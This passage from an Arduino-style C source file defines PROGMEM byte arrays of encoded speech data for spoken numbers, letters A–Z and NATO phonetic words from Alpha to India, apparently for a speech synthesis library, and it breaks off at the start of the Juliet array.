{0x04,0xC8,0x7E,0x5C,0x02,0x0A,0xA8,0x62,0x43,0x03,0xA7,0xA8,0x62,0x43,0x4B,0x97,0xDC,0xF2,0x14,0xC5,0xA7,0x9B,0x7A,0xD3,0x95,0x37,0xC3,0x1E,0x16,0x4A,0x66,0x36,0xF3,0x5A,0x89,0x6E,0xD4,0x30,0x55,0xB5,0x32,0xB7,0x31,0xB5,0xC1,0x69,0x2C,0xE9,0xF7,0xBC,0x96,0x12,0x39,0xD4,0xB5,0xFD,0xDA,0x9B,0x0F,0xD1,0x90,0xEE,0xF5,0xE4,0x17,0x02,0x45,0x28,0x77,0x11,0xD9,0x40,0x9E,0x45,0xDD,0x2B,0x33,0x71,0x7A,0xBA,0x0B,0x13,0x95,0x2D,0xF9,0xF9,0x7F};\nconst uint8_t spTWO[] PROGMEM = {0x06,0xB8,0x59,0x34,0x00,0x27,0xD6,0x38,0x60,0x58,0xD3,0x91,0x55,0x2D,0xAA,0x65,0x9D,0x4F,0xD1,0xB8,0x39,0x17,0x67,0xBF,0xC5,0xAE,0x5A,0x1D,0xB5,0x7A,0x06,0xF6,0xA9,0x7D,0x9D,0xD2,0x6C,0x55,0xA5,0x26,0x75,0xC9,0x9B,0xDF,0xFC,0x6E,0x0E,0x63,0x3A,0x34,0x70,0xAF,0x3E,0xFF,0x1F};\nconst uint8_t spSIX[] PROGMEM = {0x04,0xF8,0xAD,0x4C,0x02,0x16,0xB0,0x80,0x06,0x56,0x35,0x5D,0xA8,0x2A,0x6D,0xB9,0xCD,0x69,0xBB,0x2B,0x55,0xB5,0x2D,0xB7,0xDB,0xFD,0x9C,0x0D,0xD8,0x32,0x8A,0x7B,0xBC,0x02,0x00,0x03,0x0C,0xB1,0x2E,0x80,0xDF,0xD2,0x35,0x20,0x01,0x0E,0x60,0xE0,0xFF,0x01};\nconst uint8_t spTEN[] PROGMEM = {0x0E,0x38,0x3C,0x2D,0x00,0x5F,0xB6,0x19,0x60,0xA8,0x90,0x93,0x36,0x2B,0xE2,0x99,0xB3,0x4E,0xD9,0x7D,0x89,0x85,0x2F,0xBE,0xD5,0xAD,0x4F,0x3F,0x64,0xAB,0xA4,0x3E,0xBA,0xD3,0x59,0x9A,0x2E,0x75,0xD5,0x39,0x6D,0x6B,0x0A,0x2D,0x3C,0xEC,0xE5,0xDD,0x1F,0xFE,0xB0,0xE7,0xFF,0x03};\nconst uint8_t spFIF_[] PROGMEM = {0x08,0x98,0x31,0x93,0x02,0x1C,0xE0,0x80,0x07,0x5A,0xD6,0x1C,0x6B,0x78,0x2E,0xBD,0xE5,0x2D,0x4F,0xDD,0xAD,0xAB,0xAA,0x6D,0xC9,0x23,0x02,0x56,0x4C,0x93,0x00,0x05,0x10,0x90,0x89,0x31,0xFC,0x3F};\nconst uint8_t spTHOUSAND[] PROGMEM = {0x0C,0xE8,0x2E,0xD4,0x02,0x06,0x98,0xD2,0x55,0x03,0x16,0x68,0x7D,0x17,0xE9,0x6E,0xBC,0x65,0x8C,0x45,0x6D,0xA6,0xE9,0x96,0xDD,0xDE,0xF6,0xB6,0xB7,0x5E,0x75,0xD4,0x93,0xA5,0x9C,0x7B,0x57,0xB3,0x6E,0x7D,0x12,0x19,0xAD,0xDC,0x29,0x8D,0x4F,0x93,0xB4,0x87,0xD2,0xB6,0xFC,0xDD,0xAC,0x22,0x56,0x02,0x70,0x18,0xCA,0x18,0x26,0xB5,0x90,0xD4,0xDE,0x6B,0x29,0xDA,0x2D,0x25,0x17,0x8D,0x79,0x88,0xD4,0x48,0x79,0x5D,0xF7,0x74,0x75,0xA1,0x94,0xA9,0xD1,0xF2,0xED,0x9E,0xAA,0x51,0xA6,0xD4,0x9E,0x7F,0xED,0x6F,0xFE,0x2B,0xD1,0xC7,0x3D,0x89,0xFA,0xB7,0x0D,0x57,0xD3,0xB4,0xF5,0x37,0x55,0x37,0x2E,0xE6,0xB2,0xD7,0x57,0xFF,0x0F};\nconst uint8_t spTHREE[] PROGMEM = {0x0C,0xE8,0x2E,0x94,0x01,0x4D,0xBA,0x4A,0x40,0x03,0x16,0x68,0x69,0x36,0x1C,0xE9,0xBA,0xB8,0xE5,0x39,0x70,0x72,0x84,0xDB,0x51,0xA4,0xA8,0x4E,0xA3,0xC9,0x77,0xB1,0xCA,0xD6,0x52,0xA8,0x71,0xED,0x2A,0x7B,0x4B,0xA6,0xE0,0x37,0xB7,0x5A,0xDD,0x48,0x8E,0x94,0xF1,0x64,0xCE,0x6D,0x19,0x55,0x91,0xBC,0x6E,0xD7,0xAD,0x1E,0xF5,0xAA,0x77,0x7A,0xC6,0x70,0x22,0xCD,0xC7,0xF9,0x89,0xCF,0xFF,0x03};\nconst uint8_t spSEVEN[] PROGMEM = {0x0C,0xF8,0x5E,0x4C,0x01,0xBF,0x95,0x7B,0xC0,0x02,0x16,0xB0,0xC0,0xC8,0xBA,0x36,0x4D,0xB7,0x27,0x37,0xBB,0xC5,0x29,0xBA,0x71,0x6D,0xB7,0xB5,0xAB,0xA8,0xCE,0xBD,0xD4,0xDE,0xA6,0xB2,0x5A,0xB1,0x34,0x6A,0x1D,0xA7,0x35,0x37,0xE5,0x5A,0xAE,0x6B,0xEE,0xD2,0xB6,0x26,0x4C,0x37,0xF5,0x4D,0xB9,0x9A,0x34,0x39,0xB7,0xC6,0xE1,0x1E,0x81,0xD8,0xA2,0xEC,0xE6,0xC7,0x7F,0xFE,0xFB,0x7F};\nconst uint8_t spELEVEN[] PROGMEM = {0xA5,0xEF,0xD6,0x50,0x3B,0x67,0x8F,0xB9,0x3B,0x23,0x49,0x7F,0x33,0x87,0x31,0x0C,0xE9,0x22,0x49,0x7D,0x56,0xDF,0x69,0xAA,0x39,0x6D,0x59,0xDD,0x82,0x56,0x92,0xDA,0xE5,0x74,0x9D,0xA7,0xA6,0xD3,0x9A,0x53,0x37,0x99,0x56,0xA6,0x6F,0x4F,0x59,0x9D,0x7B,0x89,0x2F,0xDD,0xC5,0x28,0xAA,0x15,0x4B,0xA3,0xD6,0xAE,0x8C,0x8A,0xAD,0x54,0x3B,0xA7,0xA9,0x3B,0xB3,0x54,0x5D,0x33,0xE6,0xA6,0x5C,0xCB,0x75,0xCD,0x5E,0xC6,0xDA,0xA4,0xCA,0xB9,0x35,0xAE,0x67,0xB8,0x46,0x40,0xB6,0x28,0xBB,0xF1,0xF6,0xB7,0xB9,0x47,0x20,0xB6,0x28,0xBB,0xFF,0x0F};\nconst uint8_t sp_TEEN[] PROGMEM = {0x09,0x58,0x2A,0x25,0x00,0xCB,0x9F,0x95,0x6C,0x14,0x21,0x89,0xA9,0x78,0xB3,0x5B,0xEC,0xBA,0xB5,0x23,0x13,0x46,0x97,0x99,0x3E,0xD6,0xB9,0x2E,0x79,0xC9,0x5B,0xD8,0x47,0x41,0x53,0x1F,0xC7,0xE1,0x9C,0x85,0x54,0x22,0xEC,0xFA,0xDB,0xDD,0x23,0x93,0x49,0xB8,0xE6,0x78,0xFF,0x3F};\nconst uint8_t spA[] PROGMEM = {0x65,0x2C,0x96,0xAD,0x7B,0x6A,0x9F,0x66,0xE4,0x20,0x8D,0x9C,0x73,0xAB,0x5B,0xDC,0xE2,0x96,0xB7,0xBA,0xF5,0x6A,0x66,0x28,0xA0,0xCE,0xD5,0xBB,0xDB,0xFD,0x1E,0xE6,0x38,0xA7,0x36,0xCF,0x9C,0x80,0x51,0x8B,0xEB,0x52,0xD7,0xBC,0xFF,0x3F};\nconst uint8_t spB[] PROGMEM = {0xA6,0x2F,0xAA,0x05,0x5C,0xD6,0x8C,0xBC,0xC7,0x16,0x70,0x59,0x33,0xB2,0x95,0x0B,0xC1,0xFD,0xCD,0xCC,0x66,0x3A,0xF3,0x51,0xAD,0x98,0x00,0x55,0x8B,0x67,0xDB,0xC7,0x3E,0xD5,0xAD,0xEE,0x75,0x2F,0xE7,0x2C,0x4D,0x60,0xBE,0x26,0xDF,0xF1,0x89,0xEF,0xFF,0x03};\nconst uint8_t spC[] PROGMEM = {0x04,0xF8,0xA5,0x83,0x03,0x12,0xB0,0x80,0x07,0x22,0xB0,0xC2,0xEE,0x8D,0x45,0x7D,0xC9,0xCA,0x67,0x29,0x42,0xF5,0x35,0x3B,0xDF,0xF9,0x28,0x66,0x0D,0x40,0xCF,0xD7,0xB3,0x1C,0xCD,0xAC,0x06,0x14,0xB5,0x68,0x0E,0x7D,0xEE,0x4B,0xDF,0xD2,0x39,0x5B,0x02,0x44,0xBD,0xCE,0x57,0xBE,0xF2,0x9D,0xEE,0x55,0x0A,0xC1,0x73,0x4D,0x7E,0xF2,0xF3,0xFF};\nconst uint8_t spD[] PROGMEM = {0x06,0x98,0x30,0x68,0xE4,0x6B,0x84,0xA0,0xE8,0xD3,0x93,0x8D,0xEC,0x84,0x9E,0x4B,0x6E,0x36,0x8A,0x19,0x0D,0xA8,0xEA,0x71,0xAF,0x7A,0xDF,0xE7,0xB2,0xAD,0xE0,0x00,0xD3,0x8B,0xEB,0x9E,0x8F,0x7C,0xA6,0x73,0xE5,0x40,0xA8,0x5A,0x1C,0xAF,0x78,0xC5,0xDB,0xDF,0xFF,0x0F};\nconst uint8_t spE[] PROGMEM = {0xA2,0x59,0x95,0x51,0xBA,0x17,0xF7,0x6A,0x95,0xAB,0x38,0x42,0xE4,0x92,0x5D,0xEE,0x62,0x15,0x33,0x3B,0x50,0xD6,0x92,0x5D,0xAE,0x6A,0xC5,0x04,0xA8,0x5A,0xBC,0xEB,0xDD,0xEC,0x76,0x77,0xBB,0xDF,0xD3,0x9E,0xF6,0x32,0x97,0xBE,0xF5,0xAD,0xED,0xB3,0x34,0x81,0xF9,0x9A,0xFF,0x07};\nconst uint8_t spF[] PROGMEM = {0xAB,0x1B,0x61,0x94,0xDD,0xD6,0xDC,0xF1,0x74,0xDD,0x37,0xB9,0xE7,0xEA,0xD3,0x35,0xB3,0x1C,0xE1,0xAF,0x6F,0x77,0xC7,0xB5,0xD4,0xE0,0x56,0x9C,0x77,0xDB,0x5A,0x9D,0xEB,0x98,0x8C,0x61,0xC0,0x30,0xE9,0x1A,0xB0,0x80,0x05,0x14,0x30,0x6D,0xBB,0x06,0x24,0x20,0x01,0x0E,0x10,0xA0,0x06,0xB5,0xFF,0x07};\nconst uint8_t spG[] PROGMEM = {0x6E,0x3F,0x29,0x8D,0x98,0x95,0xCD,0x3D,0x00,0xAB,0x38,0x95,0xE2,0xD4,0xEB,0x34,0x81,0x7A,0xF2,0x51,0x53,0x50,0x75,0xEB,0xCE,0x76,0xB6,0xD3,0x95,0x8D,0x92,0x48,0x99,0xAB,0x77,0xBE,0xCB,0xDD,0x8E,0x71,0x96,0x04,0x8C,0x5A,0x3C,0xE7,0x39,0xF7,0xAD,0x6E,0xF5,0x2A,0xD7,0x2A,0x85,0xE0,0xB9,0x26,0x3E,0xF1,0xF9,0x7F};\nconst uint8_t spH[] PROGMEM = {0x65,0x18,0x6D,0x90,0x2D,0xD6,0xEC,0xF6,0x56,0xB7,0xBC,0xC5,0xAE,0xC7,0x30,0xA3,0x01,0x6D,0x2D,0xCE,0x8B,0x3D,0xDC,0xD6,0x3C,0x61,0x76,0xC5,0x25,0x9B,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x80,0x01,0x2B,0x87,0x38,0x60,0xE5,0xED,0x08,0x58,0xC0,0x02,0x16,0xB0,0x80,0x06,0x34,0x40,0x80,0x76,0xD3,0xFE,0x1F};\nconst uint8_t spI[] PROGMEM = {0xAA,0x8D,0x63,0xA8,0xAA,0x66,0xAD,0xB9,0xA8,0xCB,0x08,0xDD,0x7C,0xFB,0x5B,0xDF,0xFA,0x36,0xB7,0x39,0x6D,0xB5,0xA3,0x15,0xBA,0xF8,0x76,0xBB,0xDF,0xD3,0x9E,0xD7,0xDA,0x5C,0x49,0xA5,0x2D,0xDE,0x7B,0xDB,0x6B,0x76,0x29,0xAF,0xC7,0x6D,0xEF,0x31,0xD8,0x5C,0x1E,0xF7,0xBD,0x1E,0xF5,0x48,0xE7,0x28,0x89,0xE2,0xF2,0x38,0x5F,0xF9,0xFE,0x7F};\nconst uint8_t spL[] PROGMEM = {0x6B,0x68,0x2E,0xD8,0x2A,0x37,0xDF,0xFE,0xF6,0xA7,0xAF,0x21,0xBC,0xC4,0x17,0xDF,0xFE,0xF6,0x67,0xC8,0x6A,0xC3,0x4D,0x3A,0xDF,0x61,0x4D,0x95,0x6C,0xA6,0x71,0x9E,0xB1,0x36,0x98,0x53,0x49,0x5E,0xFB,0x5A,0x8E,0x0A,0x7A,0x43,0xD9,0x4F,0x3C,0xC2,0x59,0xE0,0xF4,0x08,0xF9,0x09,0x67,0x03,0x31,0x19,0xA2,0x25,0x9E,0xFF,0x0F};\nconst uint8_t spJ[] PROGMEM = {0x6E,0x5A,0xC1,0x99,0x54,0xB2,0x09,0x60,0x49,0x22,0x07,0xEC,0xA8,0x16,0x80,0x5D,0x26,0xC7,0xD0,0xA3,0x92,0x78,0x74,0x3E,0x55,0x2F,0x21,0x6A,0xB1,0xFA,0x56,0xB7,0xBA,0xD5,0xAD,0x6F,0x7D,0xBB,0x3D,0x8E,0x75,0xB4,0x22,0x36,0x7F,0x53,0xCF,0x7E,0xB5,0x67,0x96,0x61,0x34,0xDB,0x52,0x9F,0xF4,0x8E,0xDC,0x88,0xE1,0x5F,0xF2,0x9D,0xEF,0xFF,0x07};\nconst uint8_t spK[] PROGMEM = {0x01,0x18,0x91,0xB9,0x00,0x4D,0x91,0x46,0x60,0x65,0x2D,0xB3,0xB8,0x67,0xED,0x53,0xF4,0x14,0x64,0x11,0x4B,0x6E,0x79,0x8B,0x5B,0xDE,0xF2,0x74,0xC3,0x05,0x6A,0xE7,0xEA,0x3D,0xEC,0x71,0x2F,0x6D,0x1F,0xB1,0x00,0x2B,0xDF,0xF4,0xA3,0x1D,0xB3,0x24,0x60,0xD4,0xE2,0x7A,0xE5,0x2B,0xDF,0xE9,0x1E,0x43,0x48,0xA3,0xEB,0xE4,0xFB,0xFF,0x01};\nconst uint8_t spM[] PROGMEM = {0xA9,0xE8,0xC5,0xD8,0x73,0x16,0xCF,0xE2,0x0E,0xB7,0xBB,0xCD,0xA9,0xBB,0x6F,0xF1,0xF0,0xD5,0xB7,0xBE,0xCD,0xEE,0xC6,0x50,0x63,0x72,0x98,0x58,0xEE,0x73,0x5F,0xDB,0xD6,0x62,0x72,0x98,0x58,0xAE,0x7B,0xDD,0xD3,0x5E,0x45,0x72,0x93,0xD8,0x8D,0x87,0x3D,0xEC,0x61,0xCF,0x70,0x96,0x58,0xE1,0xA2,0x4D,0xE2,0x15,0xEF,0xFF,0x07};\nconst uint8_t spN[] PROGMEM = {0x41,0xEE,0xD1,0xC8,0xB3,0x16,0xEF,0xEE,0xD4,0xC3,0x35,0x59,0xC4,0xE3,0x5B,0xDD,0xEA,0x56,0xBB,0x59,0xED,0x92,0xCD,0x91,0xB4,0x78,0x4F,0x63,0x19,0x9E,0x38,0x2C,0x9C,0xCE,0xA5,0xAF,0xF5,0x08,0xC7,0xB0,0xC2,0x61,0x1E,0x35,0x1E,0xF1,0x8C,0x57,0xBC,0xD3,0xDD,0x4D,0x49,0xB8,0xCE,0x0E,0xF7,0x34,0xAD,0x16,0xBC,0xF9,0xFF,0x01};\nconst uint8_t spO[] PROGMEM = {0xA3,0x6D,0xB4,0xBA,0x8D,0xBC,0xAD,0xA6,0x92,0xEC,0x0E,0xF2,0xB6,0xAB,0x5D,0x8C,0xA2,0xE0,0xEE,0x16,0xF6,0x3F,0xCB,0x39,0xCC,0xB1,0xAC,0x91,0xE5,0x0C,0x8B,0xBF,0xB0,0x3B,0xD3,0x1D,0x28,0x59,0xE2,0xE9,0x4F,0x7B,0xF9,0xE7,0xFF,0x01};\nconst uint8_t spP[] PROGMEM = {0x02,0x88,0x26,0xD4,0x00,0x6D,0x96,0xB5,0xB8,0x25,0x05,0x89,0x6C,0x3D,0xD2,0xE6,0x51,0xB3,0xA6,0xF4,0x48,0x67,0x09,0xA0,0x8C,0xC7,0x33,0x9B,0x79,0xCB,0x67,0x0E,0x80,0xCA,0xD7,0xBD,0x6A,0xD5,0x72,0x06,0xB4,0xB5,0xBA,0xB7,0xBD,0xAF,0x73,0x5D,0xF3,0x91,0x8F,0x78,0xFE,0x3F};\nconst uint8_t spQ[] PROGMEM = {0x0E,0x98,0xD5,0x28,0x02,0x11,0x18,0xE9,0xCC,0x46,0x98,0xF1,0x66,0xA7,0x27,0x1D,0x21,0x99,0x92,0xB6,0xDC,0x7C,0x17,0xAB,0x2C,0xD2,0x2D,0x13,0x3B,0xEF,0xAA,0x75,0xCE,0x94,0x47,0xD0,0xEE,0x3A,0xC4,0x29,0x2F,0x61,0x35,0x31,0xA2,0x50,0xB6,0xF8,0xCD,0x1F,0xFF,0x0F};\nconst uint8_t spR[] PROGMEM = {0xAB,0xC8,0x72,0x33,0x93,0xBB,0xDC,0xEE,0xB6,0xB7,0xB9,0xF5,0x68,0x53,0x5C,0xA9,0xA6,0x4D,0xB3,0x6B,0x73,0x0A,0xCB,0x71,0xD8,0xBB,0xAF,0x7D,0x2F,0x47,0xB6,0xC7,0xF4,0x94,0x37,0x9D,0xA9,0x34,0xF8,0x53,0x97,0x78,0xFD,0x3F};\nconst uint8_t spS[] PROGMEM = {0x6B,0x6E,0xD9,0x34,0x6C,0xE6,0xDC,0xF6,0x36,0xB7,0xBE,0xF5,0x19,0xAA,0x0F,0x2D,0xDA,0x25,0x7B,0x19,0x5B,0x4D,0x9A,0xA2,0xE7,0xB8,0x1D,0x23,0xA5,0x26,0x71,0x2A,0x03,0xFC,0x94,0xE6,0x01,0x0F,0x68,0x40,0x03,0x12,0xE0,0x00,0x07,0x30,0xF0,0xFF};\nconst uint8_t spT[] PROGMEM = {0x01,0xD8,0xB6,0xDD,0x01,0x2F,0xF4,0x38,0x60,0xD5,0xD1,0x91,0x4D,0x97,0x84,0xE6,0x4B,0x4E,0x36,0xB2,0x10,0x67,0xCD,0x19,0xD9,0x2C,0x01,0x94,0xF1,0x78,0x66,0x33,0xEB,0x79,0xAF,0x7B,0x57,0x87,0x36,0xAF,0x52,0x08,0x9E,0x6B,0xEA,0x5A,0xB7,0x7A,0x94,0x73,0x45,0x47,0xAC,0x5A,0x9C,0xAF,0xFF,0x07};\nconst uint8_t spU[] PROGMEM = {0xA1,0x9F,0x9C,0x94,0x72,0x26,0x8D,0x76,0x07,0x55,0x90,0x78,0x3C,0xEB,0x59,0x9D,0xA2,0x87,0x60,0x76,0xDA,0x72,0x8B,0x53,0x36,0xA5,0x64,0x2D,0x7B,0x6E,0xB5,0xFA,0x24,0xDC,0x32,0xB1,0x73,0x1F,0xFA,0x1C,0x16,0xAB,0xC6,0xCA,0xE0,0xB5,0xDF,0xCD,0xA1,0xD4,0x78,0x1B,0xB6,0x53,0x97,0x74,0xA7,0x21,0xBC,0xE4,0xFF,0x01};\nconst uint8_t spV[] PROGMEM = {0x66,0xF3,0xD2,0x38,0x43,0xB3,0xD8,0x2D,0xAC,0x4D,0xBB,0x70,0xB0,0xDB,0xB0,0x0E,0x17,0x2C,0x26,0xAE,0xD3,0x32,0x6C,0xBB,0x32,0xAB,0x19,0x63,0xF7,0x21,0x6C,0x9C,0xE5,0xD4,0x33,0xB6,0x80,0xCB,0x9A,0x9B,0xAF,0x6C,0xE5,0x42,0x70,0x7F,0xB3,0xB3,0x9D,0xEE,0x7C,0x55,0x2B,0x26,0x40,0xD5,0xE2,0xD9,0xF6,0xB1,0x4F,0x75,0xAB,0x7B,0x3D,0xCA,0x35,0x4B,0x13,0x98,0xAF,0xA9,0x57,0x7E,0xF3,0x97,0xBE,0x19,0x0B,0x31,0xF3,0xCD,0xFF,0x03};\nconst uint8_t spW[] PROGMEM = {0xA1,0xDE,0xC2,0x44,0xC2,0xFC,0x9C,0x6A,0x88,0x70,0x09,0x59,0x7B,0x8A,0xCA,0x3B,0x3D,0xA4,0xCF,0xCD,0x56,0x96,0xC4,0xA6,0xBB,0xF4,0x6E,0x59,0xE2,0x9D,0xEA,0xE2,0x4A,0xD5,0x12,0x65,0xBB,0xB3,0xEB,0x51,0x57,0x12,0x99,0xC1,0xD9,0x6E,0xB7,0xC7,0x31,0x35,0x92,0x6A,0xC9,0x9B,0xC7,0x34,0x4C,0x12,0x46,0x6C,0x99,0x73,0x5F,0xDA,0xD2,0x92,0x92,0x64,0x6C,0xEE,0x6B,0xD9,0x6A,0x22,0x71,0x8F,0xCF,0xE5,0x2C,0x41,0xD4,0xDD,0x36,0xA5,0x3B,0x19,0xF5,0x0C,0xEE,0x13,0xEF,0xFC,0x9A,0xD7,0x85,0xC8,0x62,0xEE,0x6D,0xBF,0xFF,0x07};\nconst uint8_t spX[] PROGMEM = {0xAD,0x68,0xC9,0xC5,0x32,0x56,0xDF,0xFA,0x54,0x2D,0x35,0x7B,0xF8,0xEA,0x5B,0xDD,0xE6,0x4C,0x6D,0x04,0xA6,0xC5,0xEA,0xB9,0x84,0xB5,0x75,0x23,0x37,0x4F,0x83,0x40,0x11,0xCA,0x5D,0x44,0x36,0x00,0x28,0xA0,0xE6,0x31,0x0F,0x68,0xC0,0x00,0xBF,0x8D,0x79,0xC0,0x03,0x16,0xD0,0x00,0x07,0xFE,0x1F};\nconst uint8_t spY[] PROGMEM = {0x6A,0xB1,0xA2,0xA7,0x95,0xD2,0xD8,0x25,0x0F,0xA3,0x2D,0xB2,0x7A,0x1C,0xB3,0xDE,0xE6,0xD4,0x45,0x6D,0x56,0xCA,0x9A,0x5B,0xDF,0xFA,0xB6,0xBB,0xDB,0xFD,0x1A,0x8A,0x6F,0x2B,0xF3,0x37,0x7B,0x19,0x4B,0xD3,0x25,0x39,0xFA,0xB9,0x6F,0x6D,0xEB,0x31,0xC4,0x5C,0x1E,0xF7,0xAD,0x1F,0xE5,0x1C,0xA5,0x48,0x5C,0x1E,0xD7,0x2B,0x5F,0xF9,0xFA,0x7F};\nconst uint8_t spZ[] PROGMEM = {0x6D,0xFD,0xC6,0x5C,0x95,0xD5,0xF5,0xD5,0x02,0x7B,0x5D,0xFD,0x51,0x2D,0x2A,0xE4,0x77,0x75,0xA3,0x3A,0xB1,0xFA,0x9B,0x5D,0xEF,0x6A,0x55,0x33,0x27,0x60,0xD4,0xE2,0xD9,0xCC,0x76,0x4E,0x73,0x9D,0x7B,0x3F,0xFB,0x59,0xAE,0x55,0x0A,0xC1,0x73,0x4D,0xBD,0xEA,0x9D,0x9E,0x15,0x12,0xA0,0x6B,0x75,0x7E,0xFE,0x1F};\nconst uint8_t spALPHA[] PROGMEM = {0xAD,0xED,0x6A,0xDC,0x4B,0x57,0xEF,0xF6,0xB4,0x53,0x6C,0x6A,0x4B,0x97,0x53,0x77,0x7E,0x19,0xC9,0x9B,0x57,0x99,0xCC,0x7B,0x9A,0x6E,0x9E,0x45,0x2B,0xA2,0xA9,0x0A,0x91,0xCC,0xB5,0x00,0x02,0x14,0x67,0xA1,0x80,0x16,0x2C,0x3C,0x60,0x80,0xE6,0x2C,0x4A,0x51,0x54,0x47,0x38,0x6F,0xDE,0xC3,0x5D,0xF6,0x36,0xF7,0x7A,0xE5,0xFB,0xFF,0x01};\nconst uint8_t spBRAVO[] PROGMEM = {0x61,0x5A,0xBA,0xC2,0xDD,0x62,0x85,0xD6,0xE8,0x15,0x59,0xB1,0x97,0x9A,0x30,0xD5,0xBC,0x85,0xDF,0xA8,0x63,0x0F,0xE9,0x50,0xE5,0xA7,0xCA,0x6E,0x22,0x5D,0x57,0xEF,0x72,0x97,0xB3,0x2A,0x6D,0x74,0x15,0xE9,0xBA,0x3A,0xF6,0x66,0xE8,0x3E,0xD4,0x5C,0x65,0xD7,0x31,0x2D,0x95,0x54,0xBB,0x8B,0xDF,0xD9,0xAE,0xB1,0xA1,0xAC,0x0E,0x51,0x3F,0xE7,0xB6,0x14,0xD2,0x35,0x4E,0xEE,0xFB,0x5E,0x77,0xB3,0x7B,0xDF,0x19,0x2C,0x7D,0xEC,0xE9,0x2F,0x73,0x05,0xDF,0x19,0x2C,0x7D,0xF8,0xF3,0xFF};\nconst uint8_t spCHARLIE[] PROGMEM = {0x06,0xD8,0x2D,0x2C,0x01,0x33,0xB7,0x67,0x60,0xC4,0x35,0x94,0xAA,0x5A,0xEA,0x93,0x15,0xD7,0xAA,0x23,0xEE,0x56,0x9E,0xD3,0xAA,0x2E,0xE5,0xDB,0xF9,0xC8,0x4B,0x6A,0x8E,0xE3,0x3E,0x33,0x2F,0x45,0x6E,0x62,0x39,0x9A,0x76,0x74,0x4D,0xA5,0xA5,0x73,0xD2,0x3B,0xAC,0xA9,0xD9,0x61,0x0D,0xDF,0x32,0xE6,0xEE,0x0A,0x39,0xE3,0xF3,0x58,0x97,0x2D,0xC2,0x8C,0x2D,0x7D,0x4D,0xE7,0xCC,0x09,0x18,0xB5,0x38,0x5E,0xFE,0xFE,0x7F};\nconst uint8_t spDELTA[] PROGMEM = {0x02,0xE8,0x54,0x6D,0xB5,0x35,0x84,0xB9,0xDA,0x9A,0x5B,0x9F,0xAA,0x98,0x71,0x77,0xDB,0x7C,0x8A,0x64,0x2F,0x5C,0xBD,0xF7,0xCA,0x33,0x9F,0x4A,0x95,0x2C,0x2D,0xCB,0xD2,0xAA,0x95,0xDD,0x9A,0x7C,0x7B,0x15,0xD2,0x48,0x8C,0x40,0x11,0xCA,0x5D,0x44,0x36,0x28,0xE0,0x47,0x73,0x01,0x24,0xEA,0xB2,0xBA,0x6A,0xC2,0xC3,0x7C,0xCB,0x1D,0xCF,0xD6,0x54,0xA5,0x87,0x74,0xDD,0xE7,0xBA,0xAB,0x1A,0xF3,0x94,0xCE,0xFD,0xC9,0xEF,0xFF,0x03};\nconst uint8_t spECHO[] PROGMEM = {0x2B,0x6F,0xB1,0xD9,0xD3,0x36,0xDF,0xF6,0x36,0xB7,0x26,0x85,0x08,0xE5,0x2E,0x22,0x1B,0x20,0x00,0x25,0xAC,0x2A,0x20,0xCF,0xD3,0x52,0x45,0x53,0x6A,0xA9,0x9E,0x4F,0x9B,0x54,0x47,0xB9,0xE4,0xDF,0xC3,0x1C,0xC6,0x98,0x45,0x65,0xBB,0x78,0x9F,0xCB,0x5C,0xD2,0xEA,0x43,0x67,0xB0,0xE5,0xCD,0x7B,0x38,0x9D,0xAD,0x2C,0x15,0x37,0xF1,0xFC,0x7F};\nconst uint8_t spFOXTROT[] PROGMEM = {0x08,0x98,0xB1,0x53,0x02,0x1E,0x88,0xC0,0xCA,0x8B,0xDA,0x4A,0x97,0x2E,0xB7,0xBA,0xD5,0x2A,0x73,0xE8,0x48,0xD3,0xCD,0xAD,0xA8,0x35,0xA2,0xC5,0xAA,0x90,0x42,0x84,0x72,0x17,0x91,0x0D,0x0A,0xA8,0xA1,0xC5,0x01,0xAF,0xF8,0x78,0x40,0x01,0x6F,0xB5,0x23,0xA0,0x47,0x53,0x0C,0x44,0xC0,0x03,0xAD,0x49,0x85,0x53,0x53,0xDD,0x8D,0x26,0x56,0xCB,0x70,0xCD,0xB7,0xA6,0x64,0xC7,0x2B,0x39,0xEF,0x5A,0xAA,0xB8,0xF4,0xE2,0x3E,0xF3,0x1C,0x57,0x0E,0x1D,0x69,0xBA,0xD9,0x5F,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x80,0x00,0x8E,0xE0,0x30,0xC0,0xB2,0x53,0x04,0xA8,0xCA,0xE5,0xFF,0x01};\nconst uint8_t spGOLF[] PROGMEM = {0x0A,0x88,0xA1,0x71,0x15,0x85,0x76,0x45,0x8A,0xFF,0x9B,0xDF,0x6C,0x65,0x99,0x5C,0xB7,0x72,0xDE,0x9D,0xED,0x72,0x77,0x73,0x6C,0x4B,0x54,0x35,0x63,0xE4,0xA6,0xEE,0xF9,0x34,0x57,0x94,0x39,0x63,0xE4,0x86,0x5F,0x04,0x98,0x34,0xDD,0x02,0x0E,0x98,0x32,0x5D,0x03,0x12,0xE0,0xC0,0xFF,0x03};\nconst uint8_t spHENRY[] PROGMEM = {0x08,0xC8,0x4A,0x8C,0x03,0x1A,0x68,0x49,0x0B,0xAC,0xE5,0x11,0xFA,0x14,0xCD,0x35,0x59,0xC4,0xE3,0x5B,0xEC,0xBC,0xA5,0xD5,0x88,0x96,0x99,0xBD,0x9E,0x95,0x3C,0x1B,0xB3,0x64,0x69,0x1A,0xEB,0xD2,0xA7,0xA9,0x1C,0xE6,0xD1,0xDB,0x98,0x07,0xA7,0x5A,0xAA,0x5F,0x53,0x4D,0xAA,0x61,0x9E,0x7D,0xAC,0xDD,0x8E,0x48,0xC8,0x9E,0xB1,0x77,0x5B,0x44,0x95,0xAB,0xEB,0x15,0xAE,0x1E,0x0D,0x2D,0xF3,0x4D,0x7C,0xFC,0xF3,0xFF};\nconst uint8_t spINDIA[] PROGMEM = {0xA3,0x9D,0xD6,0x99,0x32,0x17,0xAF,0x66,0x86,0x16,0x74,0x5F,0x73,0x9A,0xE1,0x4A,0xC4,0xF4,0xCE,0xAD,0x46,0xD1,0x1D,0x5A,0x46,0x3A,0x99,0x45,0x2B,0xAA,0x82,0xAC,0x08,0x27,0xBE,0x5A,0xDD,0x0C,0x25,0x42,0xBC,0xFB,0xF4,0xD3,0x17,0x61,0xF8,0x96,0x3B,0xDC,0xF1,0x4C,0xDD,0x26,0x4B,0xD9,0x9E,0xBB,0xAC,0xB5,0xBB,0x36,0x0D,0xDA,0x7B,0xF6,0xA6,0xD3,0x3A,0xA5,0xF7,0x7E,0xE7,0x3B,0xBF,0xF2,0x55,0x17,0xD6,0xCE,0xAB,0xFD,0xFF,0xFF};\nconst uint8_t spJULIET[] PROGMEM = 